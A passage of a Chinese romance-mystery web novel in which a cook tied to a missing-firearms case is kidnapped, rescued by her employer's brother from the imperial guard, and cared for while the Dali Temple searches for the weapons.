“咚咚。”几声敲门声后,曹叔端着茶壶茶碗进来,“水刚烧好,等茶凉一凉再喝,我去食肆买些酒菜,晚上一起吃个饭。”姚厨娘平日对他不错,人家祖父祖母过来,他不能慢待了他们。 “不了不了,我家里还有事呢。”姚福推辞。家里还有芽芽呢。姚福与刘氏待了半个时辰才不舍地离去。 姚轻雪目送他们出了巷子,还未来得及关门,隔壁走出一人。宋筠见她一条手臂吊着,赶紧过来询问:“受伤了?怎么弄的?”姚轻雪便把先前的说辞又说一遍。 宋筠皱了皱眉,“常走之处怎会有钉子?年头久的铁物上会有铁锈,不可大意,可找郎中看过?” “已经看过了。”姚轻雪见宋家小厮在往外搬东西,便问:“公子可是要出门?” “去老师家住几日。”马上就秋天了,到了年,春闱也就不远了。老师的意思是让他住过去,方便日日指导。宋筠没有马上答应。 姚轻雪道了声:“公子走好!”转身想要回院,就听身后之人道:“轻雪!” 她一怔,然后慢慢转身,宋筠看着她问:“最近为何没有过来学字?可是厌烦了?” “厌烦倒是不曾。”姚轻雪笑着道:“公子知道我是给人家做工,哪能光顾着学字,忘了正事,况且您教的那些字已经够日常用了,不必再学了。” 实际上并非如此,是姚轻雪感觉到了宋筠对她态度的转变。就比如宋筠以前都唤她“姚厨娘”“姚姑娘”,而今日却喊她的名字。非亲近之人不可随便叫女子名讳,宋筠身为读书人,知礼守礼他比谁都清楚这一点,然而他却这么做了。姚轻雪不是傻子,宋筠眼中的情意她看得见,她既无意便不想引起更深的误会。 “公子慢走!”姚轻雪微微颔首,转身走进院内。 宋筠想说什么却又不好开口,就这么看着她关上大门。 “公子!该走了。”小厮催促道。 宋筠轻轻叹了口气,“走吧。”下次回来再说。 姚轻雪听见门外脚步离去,也是无奈叹气,早知道会这样,当初无论如何都不会让宋筠教她认字。她只想学几个字啊! 回到屋里姚轻雪对着铜镜照,这张脸虽然不丑但也并非倾城之色,宋筠那等才华横溢、风姿绰约之人怎么会看上她?难道是因为厨艺?男人大抵不会因为女人做饭好吃而喜欢她。 她不讨厌宋筠,端方君子有学问、有前途、家世好,客客气气的做朋友挺好,若是更近一步却是不可能。宋筠不是让她想共度余生的人。 希望韩泽尽快破解图纸,抓到要杀她的人,到那时她就离开韩家。等她走了,宋筠即便有什么想法,时间久了也就淡了。 再说韩泽,把图带回大理寺,先是找到陆大人,然后召集寺中能人,研究了几个时辰也没弄明白画的哪里? 有人指着背后被划掉的墨迹问:“是不是写了地址,但被 人划掉了?” “不是。”韩泽十分肯定,他虽不知道这一条模糊的墨渍写了什么,但姚轻雪说不是那就不是。事到如今她没必要骗他。 好不容易有线索,总得试一试。陆大人道:“明日开始把大理寺的人都派出去,京城两百里内山川河流都走一遍。”参不透图后用意,只能用最笨的办法。 第32章 第32章“跑!去找韩大人!”…… 寻找火器排在大理寺所有案件前头,非人命案都可以往后放一放。 图不管真假,此事一定不能隐瞒,韩泽与陆大人一起去了皇宫。 年轻的帝王拿着图半晌没说话,这图还没他五岁闺女画的好。或许正因此图匪夷所思,才会落到大理寺手中。“能确定真假吗?” 韩泽摇头:“张迁妾室只说是张迁藏的宝贝,到底是什么?旁人不得而知。不过臣觉得图是张迁所画,很可能就是火器所藏之地,只是我们还没有找到破解之法。”进宫前他拿着图与张迁书房的笔墨纸比对过,图确实来自张迁书房,姚轻雪没有撒谎。 陆方道:“当初韩泽对姚厨娘的怀疑也算歪打正着,若不是那厨娘以为是财宝一直留着,大理寺很难拿到图。图在我们手上,别人也就妄想找到火器,正所谓峰回路转因祸得福。” “姚轻雪虽贪财但却知轻重,得知此图可能是找到火器的唯一线索,便主动把图交到臣手上。”韩泽顿了顿又道:“姚轻雪还有用。”只要找到火器,什么都好说。 陆方瞄了一眼韩泽,“那厨娘家中有年迈的祖父母和幼妹,为了一家老小至今没有嫁人,是个孝顺善良的姑娘。” 皇帝看着两人笑道:“你们怕什么?她把图交上来便是大善,不过那厨娘知道图的存在。” 韩泽赶紧道:“臣一定看好她。” 皇帝把图纸还给韩泽:“若是找不到,埋在某处腐烂也好,只是那样朕心里始终不踏实。” 埋在无人知晓之地,他们找不到,旁人也找不到,如此也算皆大欢喜。怕就怕被人捷足先登。 韩泽与陆方拱手齐声道:“臣定全力寻找火器下落。” 接下来的几天韩泽没有回家,把杜七等人也都喊了回去,大理寺大批人分次秘密出城寻找火器下落。 一连七日却毫无所获,一群人出城时信心满满,回来时灰头土脸,眼里全是红血丝。整整七日,韩泽带着人吃睡都在城外,天亮登高爬山,天黑不见五指才就地搭帐休息。还好是夏天,除了蚊子多点倒也没遭什么罪。 睡不好又吃不好,地方还没找到,韩泽脸色黑的吓人。陆方觉得这样下去不行,“都回家歇两日,总这么熬着不是办法。” 韩泽脸色不好,可回到家看见他家厨娘比他脸色还差。这个脸色差有两方面,一是姚轻雪见他回来不但没有半句问候,还用鼻子“哼”他。二是姚轻雪脸色微红,人却有些萎靡,鼻子还塞了两团棉花,棉花上点点殷红。 韩大人狐疑,每日服药又有药膳补着,怎地不见好?他上下打量姚轻雪:“气色怎么这么差?” 他不提还好,他一问姚轻雪气就不打一处来,“还不是因为你?” “我?”韩泽指指自己,这七天他都没在家,关他什么事? “少爷!”曹叔扯扯韩泽的衣袖,“补过了。” “什么补过了?”韩泽没明白。 曹叔看一眼姚轻雪,小声道:“郎中说姚姑娘吃着药,又日日当归乌鸡汤,太补了,导致气血上逆,流鼻血了。” 韩泽微张着嘴,看着姚轻雪鼻子下的两团棉花,没忍住“噗嗤”笑了出来。天地可鉴,他没想到会把人补到流鼻血。 “你还笑?一次付了那么多银子,嫌银子多是不是?”姚轻雪来气,韩泽走后,日日有食肆的人来给她送当归乌鸡汤。 一问韩泽定了半个月,而且一次性付款,不吃银子也不退。一文钱都不浪费的人,怎么舍得那么多银子打水漂,姚轻雪只好坚持日日吃。今日刚吃完,鼻子就开始哗哗往下淌血。曹叔吓得赶紧出去找郎中。 郎中过来把脉,再一问,就说:“当归乌鸡汤停了吧,年轻身体康健,即便流点血也不必如此进补。” “我本来头已经不晕了,就因为你的当归乌鸡汤,我今日看什么都天旋地转。”姚轻雪越说越气,她一激动鼻子又是一股暖流往下冲,两团棉花在韩泽和曹叔瞪大的双眼中很快变红、全红。 韩泽和曹叔手忙脚乱地打水、找布巾、团棉花。一盏茶的功夫姚轻雪的鼻血终于止住了。 韩大人心虚道:“流了这么多血,不然再补、”后半句在姚轻雪的怒瞪中没敢说出口。 “你好好休息。”说完韩大人回了房间,关上门后他再也忍不住哈哈大笑。他只听说补血好,根本没想那么多。 姚轻雪隐约听见隔壁传来的笑声,恨得咬牙,她也是脑子进水,银子又不是她的,她心疼什么劲儿,简直是自找烦恼。 烦归烦,她刚刚可没错过韩泽进院时的臭脸,他身上的衣服也脏的不行,想来这些日子没少往山里钻。 姚轻雪看了眼今早曹叔买回来的肉和菜,决定做炸酱面。前两日她和曹叔就买菜自己做饭,她惯用右手,左胳膊的伤除了不方便,倒也不影响做菜,何况还有曹叔帮忙。外面买回来的饭菜油重盐重,偶尔吃几次还行,顿顿吃便会觉得腻。 曹叔给韩泽烧完洗澡水,就过来给姚轻雪打下手,切肉切菜揉面的活都是他做。先和了面放一旁醒发。再把五花肉切丁。姚轻雪将肥一些的肉丁煸炒出油,再加入瘦肉丁继续炒,调味后加刘氏自己做的酱,小火慢慢煮着。然后曹叔在姚轻雪的指挥下开始揉面、擀面。 今日韩泽洗澡的时间特别长,等他洗完出来,喷香的炸酱面就做好了。看着黑乎乎的东西浇在面条和一些焯过水的青菜上,韩大人皱了皱眉,瞥一眼胳膊还不能用的姚轻雪默默坐下拿起筷子。 姚轻雪看着他一下比一下快地往嘴里送,忙道:“还有很多呢,您慢点吃。”之后曹叔又给他端过来一碗面和一碗酱卤。 韩泽吃掉两大碗炸酱面,即便是简单的面条也还是他家厨娘做的好吃。饭后他倒头就睡。 休息一晚,次日天没亮韩泽又领着人出城了。姚轻雪起来就没见到人。她烙了几张鸡蛋饼,做了青菜汤,和曹叔吃了早饭。 家里没有菜了,姚轻雪让曹叔出去再买些回来,不光是他们自己吃,保不齐韩泽什么时候回来,吃口热饭他心情也好。 曹叔犹豫,今早韩泽再次叮嘱不要让姚轻雪离开他的视线。买菜和吃食可以使几个钱让街边小童代买。半大孩子哪里懂买菜,买过一次就不想再用他们了。 “曹叔,大白天的不会有事。”附近除了衙门,还有巡查的官兵,姚轻雪不认为有人会在韩家动手杀她,进得来不一定跑得掉。 曹叔觉得有理,前几日都没事便提着篮子出门了。约莫半个时辰左右,姚轻雪被一阵急促的敲门声惊醒,门外有人带着哭腔大喊:“姐,姐,你在吗?” 芽芽?姚轻雪赶紧去开门,“芽芽,你怎么来了?” 小姑娘见到姐姐,眼泪唰唰往下掉,“爷爷被人打伤,奶奶犯病了,姐你快回家。” 姚轻雪心一揪,“怎么会跟人打起来?”姚福老实,家里两个丫头,他自觉腰杆不直,平日宁愿自己吃亏都不会和人脸红,怎么会打架? “不知道,被人抬回家的。赵婶子帮忙去请郎中,我过来找你。”芽芽哭得上气不接下气,还是把事情说清楚了。她上次来过太平巷,姐姐送她回家,她就记住路了。 姚轻雪关上大门,转身扯着芽芽往巷口跑。她想雇辆车,来到主街却发现左右没有一辆车。她只好拽上妹妹拐进一条巷子。此时姚轻雪满脑子都是在担心姚福和刘 氏,早把韩泽的警告忘到脑后。 姐俩跑得上气不接下气,只要穿过前面的芦苇巷再走一刻钟便到葫芦巷了。芦苇巷是一条窄巷,左右不过半丈,平时走的人少,就在她俩快到巷子头时,前方突然出现一辆马车。 姚轻雪立刻拉住妹妹,自从上次在巷子里遇袭,她对陌生人都保持警惕。好巧不巧再有十几步就出去了,怎么就突然来了一辆马车? 姚轻雪止住脚步,马车就停在巷子口,墙壁挡住前半部,看不见车夫。车厢正好把巷子堵了个严实。几息过去,车上没人下来,姚轻雪脑袋嗡一下,感觉要不好,她攥紧芽芽的手。 “姐!”小姑娘被姐姐攥得手疼。 就在这时身后传来急促的脚步声,姚轻雪回头,就见两个男人向这边奔过来。完了,姚轻雪心往下沉,前路后路都被堵了。“芽芽,姐让你跑你就跑。”芽芽虽然不知道怎么回事,但也感觉到了危险。 左右权衡,姚轻雪选了前方,她牵着妹妹来到马车跟前,突然把芽芽往后车厢下塞,“跑!去找韩大人!” 芽芽身量还没长开,车轱辘后面的空隙将将够她钻过去。小姑娘愣愣地被姐姐推出巷子,本能地往前跑。姚轻雪还没起身就被扭住胳膊,挣扎两下脖子一疼昏了过去。 第33章 第33章“自家兄弟不必客气。”…… “快,不能让那丫头跑了,不用留活口。”姚轻雪晕过去之前听到了这句话。她想说放过芽芽,可她什么都说不出来就陷入了昏迷。 芽芽拼命地往前跑,她不敢回头,她得去找韩大人,可韩大人在哪里啊?小姑娘泪眼模糊地都快看不清路了,在冲出巷子的刹那跌进了一匹马的前蹄下。 韩浩死命勒紧缰绳,枣红马长嘶一声,抬起的前蹄勉强转了个弯才落下。韩浩吓出一身冷汗,他下马来到芽芽跟前:“不要命了!乱跑什么?”若不是他及时勒住缰绳,马蹄踏下去,这孩子不死也得重伤,韩浩也是很气。 芽芽吓傻了,她跌坐在地上呆呆地向上看,然后瞪大了眼睛,小姑娘爬过来扯住韩浩的裤腿:“韩大人,快去救我姐,她被人抓走了。” 韩浩一愣,这小姑娘怎么知道他姓韩?还不等他问便瞧见巷子里鬼祟的男人。他把芽芽交给手下,翻身上马进了巷子。 韩浩出自武将世家,十八岁入禁军从小兵做起,四年升任指挥使,武艺不是一般人可比,那人在他手里没过几招便被擒住。 这时韩浩手下赶到:“大人,小姑娘说有一辆马车,她姐姐应该被那辆马车劫走了。” 芽芽坐在男人马前,指了指不远处的巷子口,“刚、咳,就停在那,韩大人,你快去救我姐。”芽芽左右都看不见姐姐随后大哭起来。 韩浩皱了皱眉,她又叫自己韩大人?此事过后再弄清楚不迟,他吩咐手下兵分两路往两个方向追。韩浩骑马往出城的方向去。 马车哪有单匹马跑得快,韩浩是禁军可以在街上纵马疾行,不消片刻他就看见一辆马车在街上快速行驶。他两腿一夹马腹,很快与马车并驾,韩浩大喊:“停车。” 车夫充耳不闻,反而扬起鞭子狠狠抽马屁股,韩浩知道找对了。他拿下马上挂着的两节银色枪杆,几个扭转便拧成一杆长枪,然后就去挑马鞍。 车夫摸出一把短刀去拦,韩浩没收劲,短刀崩断,枪尖扎进那人胸口,车夫跌入车下。车辆里钻出一人,韩浩一个撤手,这人都没来得及反应就被带下急速行驶的马车。 韩浩后头跟着的手下下马查看,没人驾驭的马开始疯跑,路上行人为了躲避跌倒数人。韩泽弃了自己的坐骑,跳上马车勒住马缰绳,可是费了一番力气才让马停下来。 韩浩撩起帘子瞧见被绑了手脚、塞了嘴巴的姑娘正惊恐地看着他,他似乎在这姑娘眼中看见了惊喜,不过很快便消失不见。韩浩看两眼,不认识,他纳闷,那个小姑娘为何会认得他?他过去把姚轻雪嘴里的破布扯出来。看了一眼她左边胳膊上的血问道:“姑娘受伤了?” 姚轻雪干呕着摇了摇头,又点了点头,伤是上次的刀伤怕是裂开了。等没那么难受了,她抬头看眼前之人。帘子撩开的一瞬,她以为是韩泽来救她,可仔细一瞧不是。 “姐、姐你没事太好了、嗝、”芽芽在马上哭的直打嗝。扶着她的士兵无奈道:“都叫你别哭了,马上风大,你一路哭风都灌进肚子,不打嗝才怪。” “我、嗝,忍不住啊,嗝……”芽芽见到姐姐被救回来又高兴又兴奋,都忘了怕人。 禁军的十几个男人都被她的样子逗笑了。解开绳子的姚轻雪却笑不出来,她在马车里对韩浩一拜:“大人,我家里出了事,我得尽快回家,您能不能送我回去?” 见他穿官服,姚轻雪又道:“我是大理寺少卿韩泽家的厨子,这几人与大理寺重要案件有关,劳烦您将这几人送去给韩少卿。”不知道这几人和上次那人是不是一伙?不管是不是都与火器丢失案有关。 韩浩看向姚轻雪眼神透着古怪,姚轻雪以为他不愿意。这有现成的马车,她就脸大求人一回,他既然不愿自己就回去。 姚轻雪踉踉跄跄下了马车,那边芽芽也被放下马,她拉上妹妹便走。走了没几步身后传来马蹄声。 姚轻雪以为韩浩不放她走,转身欲与其解释,就听马上之人道:“家住哪里?” “槽头街葫芦巷。” “上马,我带你回。”马上之人弯腰向下伸出手,姚轻雪怔了怔。先前带着芽芽的那位又把芽芽提到马上。 见状姚轻雪没在犹豫伸出手。韩浩把人拽到马上,吩咐几人留下来善后。他快马加鞭,骏马在巷中疾驰,很快就到了葫芦巷。 此时,姚家大门内外站了不少人,有看热闹的也有看笑话的,赵氏往外赶都赶不走。杨婆子道:“我说赵娘子,姚家的事跟你有什么关系?惦记人家孙女给你鳏夫弟弟做继室呢。人家认识官家人,可看不上你弟弟,你就死了这条心吧。” 赵氏又羞又恼,“杨家的,你再敢胡说,看我不撕烂你的嘴。”要不是场合不对,她非得跟这婆子打一架。 杨婆子撇撇嘴:“看把你能耐的,你、” “驾!”马蹄声打断了两个女人的争吵。 堵在门口的人见官兵驮着姚家两个孙女回来,俱是吓了一跳,不知咋回事纷纷往后退,杨婆子见状哪里还敢跟赵氏吵,贴着墙根溜了。 姚轻雪笨拙地跳下马,踉踉跄跄地往院子里跑。赵氏见她回来赶紧过来,“别急,你爷爷奶奶没事,都是皮外伤,郎中已经看过了。你这胳膊怎么了?受伤了?” “多谢婶子,我没事。”姚轻雪进屋,过门槛时还差点摔了,她走到床边见姚福头上绑着白布,刘氏脸上煞白。两人见她回来,挣扎着起身。 姚轻雪见他俩还能动,胳膊腿都好好的,大大松了口气,没伤筋骨就好。 “两位老人无大碍,吃几副药休息几日便好。倒是你这胳膊,老夫看一下。”片刻后郎中道:“你这伤原本养的不错,今日裂开免不得又要遭一番罪。” “多谢,您给我止血包一下就行。”姚轻雪道。内服外用的药韩家都有。曹叔说都是好药,外面买不到,她就不在这里浪费银子了。 郎中不多言,撒了些止血药粉缠了两圈布,他与姚家熟悉,老两口倒下,这家里就这么个姑娘主事,她胳膊也不知怎么伤的,看着像刀伤,他一个外人不好多问。但好心道:“待会儿我差人把药给你送来。” 姚轻雪忙道谢,给了诊金和药钱,送走了郎中。见驮她姐俩回来的几人还在院里站着。 “多谢各位军爷出手相助,又送我们姐妹回家。”姚轻雪两手交叠在腹部深深鞠了一躬。 韩浩抬手虚虚扶了一下,“姑娘不必多礼,守卫京城安全乃禁军职责。” 禁军?竟然是禁军!姚轻雪直起身,正要请他们进屋喝杯水,就听见巷子里传来马蹄声。片刻有 人在她家门外下马。 韩泽脸色阴沉大步进院,看见姚轻雪怒道:“怎么跟你说的?把我的话当耳旁风了?” 认识韩泽这么久,还是第一次见他发脾气,姚轻雪缩了缩脖子不吭声,下意识往一人身后躲。这个家里除了姚福就她一个顶事,姚福都被人抬着回来,那种情况她能不慌神? 韩浩:“……”他看了眼委屈巴巴、眼睛红红,忍着不掉泪的姑娘,喊了声:“大哥!” 大哥?!姚轻雪瞪大了眼睛,伸出脑袋看看韩泽再看看身前之人,他竟然是韩泽弟弟?难怪有几分像。 “大哥,消消气。”韩浩道。 韩泽长舒口气:“今日多亏有你。”不然姚轻雪小命不保,“多谢!”他从城外回来没多久,就有禁军来找他,听说姚轻雪被人绑了塞进马车,他吓得腿都软了,上马上了两次才稳住身体,现在手还有些抖。 韩浩笑笑:“自家兄弟不必客气。”他看了一眼姚轻雪,凑近了压低声音道:“她就是父亲说的厨娘?” 他大哥带厨娘赴宴,韩家人几乎都知道,韩浩自然听他娘念叨过。听韩娇说韩莺还找人麻烦。今日竟然在街上让他遇上了,也难怪那个最小的丫头会叫他韩大人,怕是情急之下把他错认成兄长了。 可不就是错认嘛,上次办户籍芽芽都没敢仔细瞧韩泽,今日她把韩浩当成韩泽。现在小姑娘看着有两个韩大人站在她家院子里,嘴巴张得老大。 韩泽用极低的声音道:“别听爹乱说,她是火器丢失案的重要证人,事关重大别乱传。” 韩浩眨了眨眼,显然没想到姚轻雪会与火器丢失案有关,他想起刚刚街坊的闲言碎语:“若是如此,姚家二老被痞子殴打,怕不简单。今日共有三人要绑走她,死了一个,一人坠马重伤怕也活不久,另一个被我擒住,过后我给你送去大理寺,现在我去抓那几个地痞。” 韩泽点了下头:“有劳!杜七,这边你熟,跟着去抓人。” 杜七与韩浩出去抓人。韩泽盯着姚轻雪不说话。 第34章 第34章三合一 韩泽气姚轻雪不听话,千叮咛万嘱咐让她别离开家,她还是跑出来,平日的机灵劲儿都哪去了?太平巷离大理寺近,杀手轻易不敢去他家里,不然也不会把人引出去。今日若不是二弟恰巧在附近巡逻,这会儿姚轻雪怕是已经被带到城外了。 也气自己疏忽,他只顾着找火器,出城需要大量人手,杜七等人全被他召回去带走了。事情像是算计好了的,太平巷怕是有人盯梢。 有一点让韩泽纳闷,上次杀手目的在于杀人,今日却想把人带走。难道不是一伙人? 仪表堂堂的男人面色阴沉,姚家大孙女像受气的小媳妇,门外看客八卦心思顿起。这又是禁军又是大理寺,姚家大姑娘可真有能耐。他们的眼神在姚轻雪和韩泽身上飘来飘去。 赵氏觉察出气氛不对,不便多留就走了。 “都散了吧。”高飞把大门关上。 姚轻雪觉得这么僵着不是办法,便主动开口:“今日之事是我欠考虑,但事出有因,也不能全怪我。” “不怪你,怪我。”韩泽很自责,但这话听在姚轻雪耳里就不是那么回事。 “韩大人何必阴阳怪气,事情已经发生了,要打要骂随你便是。”姚轻雪也很郁闷。她没爹没娘,姚福和刘氏是她最亲的人,那种情况下她如何还能保持理智?无故被牵连到了不得的事件当中,两次差点没命,她的委屈跟谁说?从头到尾她都很无辜。 他家厨娘吧嗒吧嗒掉眼泪,韩大人的火“噗”一下子全灭了,心疼地抬手想去擦她脸上的泪珠,而后惊觉此行为有多么轻佻孟浪。 心疼?还有一丝甜?这种陌生又奇异的感觉是怎么回事?而这种感觉并非今日才有。韩泽偶尔会想他执着于姚轻雪是探子,仅仅是为了寻找事情真相吗? 最初他敢说毫无私心,但这么长时间相处下来,有些东西已经暗自滋长,说不清,也道不明,如春风润物细小无声,等发现后它已在心底生根发芽。这一发现让韩泽震撼,原来他也不是那么清心寡欲啊! 但,又有何不可? 高飞看着俩人跟小孩子闹别扭似的,站那不说话,寻思要不要上前劝两句?随后发现韩少卿脸上春心荡漾。高飞瞪大了眼睛,一脸不可置信。 萦绕在心头的疑惑此刻终于有了答案,韩泽心情愉悦,嘴角不自觉地翘起,随即发现他家厨娘还在掉眼泪,韩大人把嘴边的笑意往下压了压,来日方长。“我去看看两位老人家。” 韩大人走进房间,来到床边对姚福和刘氏拱手:“我乃大理寺少卿韩泽,劳烦二位详细说一下被打之事。” 哎呀,是孙女的雇主,人家是官身,竟然对他们这般客气,姚福和刘氏不敢怠慢,挣扎着起身。 “您二位有伤在身,躺着回话即可。”韩泽道。 刘氏和姚福哪里敢,在官差面前只要还有口气就得坐起来。随后进来的姚轻雪扶着爷爷奶奶坐起身。韩泽站在床边等着,芽芽懂事地给他搬来凳子。韩大人对小姑娘点了点头,芽芽吓得跑了出去。 韩泽:“……” 姚福讲述今日被打之事,刘氏则偷偷打量韩泽。孙女在韩家做工这么久,他们从来没见过这位大理寺少卿。衙门有人好办事,地痞讹人每日都有发生,何时见大理寺管过?今日怕是托了孙女的福。这位韩少卿长得是真好,可惜啊,他们家配不上这等人物。 “可曾与其有过矛盾?”韩泽问。 姚福晃头:“不曾。”那几个痞子有时吃东西不给钱,有时故意闹事讹几个钱,这种人最是难缠。报官也关不了几天,出来后变本加厉,所以商贩们宁愿给几个钱息事宁人也不想惹麻烦。 但今日,他们不依不饶,非说吃姚家卤味吃坏了肚子,要十两银子药钱。三五十文姚福也就给了,十两银子他哪里肯给,争执间姚福被推倒撞到头,刘氏气得犯了心病。周围商贩都是老熟人,大家合力把老两口送回家。 这些人韩泽有所了解,大事不敢犯,小偷小摸却常做,民不举官不究,即便抓进大牢,因犯事不大,打几板子罚几个钱,顶多关几天就放了。 这些人通常归地方衙门管,大理寺不屑于这等臭虫。不过索要十两银子显然超出正常范围。姚福被打恐怕也是冲着他家厨娘来的。 这时有人来敲门,高飞说郎中差人送药。姚轻雪出门拿药。该问的问完了,见姚家二老对他有惧色,韩泽也出了房间。 “你说咱家孙女会不会、”刘氏指了指门外。 姚福叹口气:“等这事过去给孙女相看人家吧,不能再拖了。” 韩泽站在院中四处打量,姚家宅子位置还算不错,但房子很多年没有修缮,屋檐房瓦都有断裂,大门上的黑漆掉的差不多了,院墙也有几处豁口。 芽芽在屋檐下抱着小白,韩泽看着白猫,想来这就是姚轻雪口中那只被吴姨娘当儿子养的猫。确实漂亮,与宫中贵妃养的爱宠一个品相,长毛、色白如雪、鸳鸯眼。这猫在姚家安然无恙,怕是住这里的人不知它的价值。若是把猫卖了足够修缮破旧的房屋和院墙。 芽芽见他盯着小白,小姑娘怕韩泽抢她猫,抱着小白就往屋里跑。 韩泽:“……”没怎么着她吧?怎么这么怕自己? 姚轻雪拿药回来,准备去灶房煎药。韩泽把人拦住,“交给旁人,你跟我回太平巷。” “大人,家里除了我没有人能照顾他们。”姚福和刘氏难下床,芽芽太小不顶用。 “这个你不用担心,你家里有人替你照顾。”韩泽去门外把陈九和另一人叫进来。“有空房吗?” 姚家除了正房,还有两间放杂物的厢房。姚轻雪打开厢 房的门,里面乱糟糟的没法住。“住我房间吧。”芽芽可以跟爷爷奶奶挤一挤。有大理寺的人住在家里,她也放心。 “不用麻烦,把这里收拾出来。”韩泽警告地看了一眼陈九,若是杜七和封八都不用他费口舌。 陈九被两个同僚骂了几次,现在也学聪明了,见韩泽这个眼神立刻就懂了。“大人说的是,姑娘家的卧房怎么能让外人随便住,不合适。”他撸起袖子开始收拾。 另有人去煎药。韩泽都安排妥当,姚轻雪见用不到自己,便进屋与姚福和刘氏说明。 “你还要回去?”刘氏十分不满。上次她就想把孙女接回来养伤,奈何孙女自己不愿意。而今她胳膊旧伤复发,她老两口也动弹不得,怎么还不让人回家?她孙女是给韩泽做工,又不是卖给他了。 “轻雪,你跟奶说,是不是韩大人欺负你?”刘氏抓住孙女的手满脸担心。她孙女长得美,那韩泽起了什么心思也说不定。 姚轻雪怔了怔,而后笑道:“奶,您想到哪里去了。今日回来走得急摔了一跤我这伤裂开了,韩大人心有愧疚便派人照顾你们,我胳膊不能动,留在家也做不了什么。” 被追杀之事姚轻雪三缄其口,刘氏心脏不好,受不得刺激,怕她担惊受怕哪天再过去,能瞒就得瞒着。 刘氏还想说什么,姚福拦住她:“拿人家的工钱呢,让回去就回去吧,你别瞎掺和。大理寺的人也带走,我躺一晚就好,用不着外人照顾。” “爷,韩大人是怕有人报复,所以才派人过来,就让他们住下吧。至于人情等事情过去咱们再还也不迟。” 姚轻雪说服了二老,又到屋外偷偷叮嘱芽芽:“今日街上发生的事千万别告诉爷爷奶奶。” 芽芽揪住姚轻雪的衣角,可怜兮兮道:“姐,你还要走吗?我害怕。” “别怕。”姚轻雪摸摸妹妹的头发,指了指陈九及同僚,“那两位哥哥是大理寺的官差,有他们在你不用怕。” 小姑娘抿着嘴,偷偷看了一眼韩泽小声问:“姐,那几个人为什么要抓你?跟韩大人有关吗?”在芽芽眼里,姐姐老实本分根本不可能惹到仇家。 韩泽干脆把锅背了,“对,是我惹了仇家,仇人拿我没办法便要抓你姐姐,所以你姐不能留在家里,不然你和你爷爷奶奶也有危险,懂了吗?小姑娘。” 芽芽愤怒地瞪向韩泽。韩大人索性坏人做到底:“别总赖着你姐,你已经是大姑娘了,要学会独立。”这孩子这么粘人,以后可怎么办? 芽芽才几岁哪里就是大姑娘了,独立个鬼。姚轻雪没好气道:“韩大人,请您去外面等。” 韩泽摸摸鼻子转身出了院子,姚轻雪跟芽芽交代了几句才离开家。路上韩泽问今日之事。姚轻雪不敢隐瞒。 韩泽瞳孔放大:“逼你说出火器下落?” 姚轻雪被丢进车里不久就醒了,被韩浩追赶时有人拿刀逼她说出火器下落。 “我觉得他们原本不急,但韩、您弟弟追过来,他们急了才开始问我。”她不说,那人就按她受伤的胳膊,还威胁要划花她的脸,姚轻雪现在还心有余悸。“和七日前那人是一伙吗?” 韩泽没有回答,他不敢肯定,但多半不是一伙。姚轻雪的心往下沉,如果不是一伙,那她被两伙人盯上?一伙为找火器,另一伙是为了什么? 她脸色不好,韩泽心也是一揪,柔声道:“回去让曹叔找郎中看看伤,家里会增加人手,今后切莫冲动,像今日之事要等曹叔回来或是去大理寺找我商议。” “多谢,今日之事不会再发生了。”韩泽肯护她和家人周全已是求之不得,她哪敢不听。 “嗯。”韩泽满意地点点头,他家厨娘吃软不吃硬。以后他得注意说话方式,不能用在大理寺对待下属的态度,不然得总吵架。 把人送回家,韩泽又去大理寺。韩浩已将那几个痞子捉拿归案,他得尽快找出幕后主使,不然他家厨娘怕是日夜难安。 韩泽走后不久,杜七和封八来到韩家。姚轻雪一瞧,封八她也在葫芦巷附近见过,竟然也是韩泽手下。 “姚厨娘!伤可还好?严不严重?”杜七笑嘻嘻地搭话。 “多谢官爷,不严重。” “哎呦,可别这么叫。”杜七连连摆手,“叫我杜七就行,他是封八,大理寺都这么叫我们。”他们主要任务是负责盯梢,在外面不宜用本名。 杜七善谈,很快便和姚轻雪聊起来。“我家大人嘴硬心软,其实他很关心你,听到姚厨娘你被掳走,他吓得马都上不去,我从未见他如此失态过。” 姚轻雪不置可否,韩泽嘴硬心软倒是真的。关心她?是哪种关心?是为了丢失的火器?还是…… 杜七点到为止,岔开话题,问姚轻雪香辣鱼怎么做?到现在他还惦记那味儿呢。 姚轻雪笑笑:“今日就做。” “这不行,你还伤着呢。”杜七嘴上拒绝,心里却十分渴望。 “没事,有曹叔帮忙,不过鱼得你去买。”姚轻雪玩笑道:“我若再出去,你家大人得气疯。” 杜七一笑:“我这就去买鱼。” 杜七背着手溜达出门,姚轻雪先把米饭蒸了,等杜七回来她和曹叔开始做菜。杜七如愿吃到香辣鱼,封八干掉三碗米饭。两条二斤多的鱼被三个男人吃得干干净净,姚轻雪因为有伤没敢碰鱼。 “姚厨娘这手艺够与御厨比了。”杜七放下筷子,打了个饱嗝。难怪自从姚轻雪来了以后,韩少卿情绪很平稳,他们也少挨不少骂。 有杜七和封八在家里守着,韩泽无后顾之忧。他这一走就是五天。 五日后清早,韩泽一脸疲惫地回到家。衣服上还沾着大片血迹,右边上臂绑了一圈布。把姚轻雪和曹叔吓了一跳。 “受伤了?”姚轻雪问。 “无碍。”韩泽疲惫地捏了捏眉心,这几日他不是审讯就是抓人,要抓的又都是死士,免不了一番你死我活。“有吃的吗?我、”韩泽突然收住话,看了一眼吊着胳膊的姚轻雪,忘了她也伤着呢。 “我这就去给你做。”姚轻雪走了两步回头问:“肉丝面如何?” 韩泽的疲惫一扫而空,心中还有点欢喜:“疙瘩汤吧。” 姚轻雪:“?” 韩泽别开眼:“许久未吃,有些想了。”揉面擀面切肉,一只胳膊如何做得了。 “行,一会儿就好。”姚轻雪像阵风似的跑去灶房。 杜七、封八与姚轻雪打了声招呼便回大理寺了。韩少卿归家他们自然不用守在这里。 一盏茶后,一碗颗粒均匀的面疙瘩汤端到韩泽面前,还有两个外焦里嫩的煎蛋。韩泽抄起筷子大口吃着,不消片刻就把疙瘩汤全吃完,就连里面的菜叶子都没剩。姚轻雪见他似乎没饱,“再做一碗?” “够了。”韩泽放下碗,肚子终于有东西垫底,全身都舒坦。 见他脸色好了些,姚轻雪这才问:“东西可有找到?” 韩泽自然清楚她所说的东西是什么?他这几日忙着抓人,但出城寻找火器的事根本没就没停。“城外百余里内的山大概走了一遍,找到两处相似之处,翻找后却不是。” 大理寺几乎停了所有事,把能派出去的人都派出去,爬山挖地,结果什么都没找到。京城外的山何其多,若是全部翻找,得找个十年八年。这么下去不是办法,今日陆大人进宫回来后叫停了此事,寻找火器一事再次陷入死局。 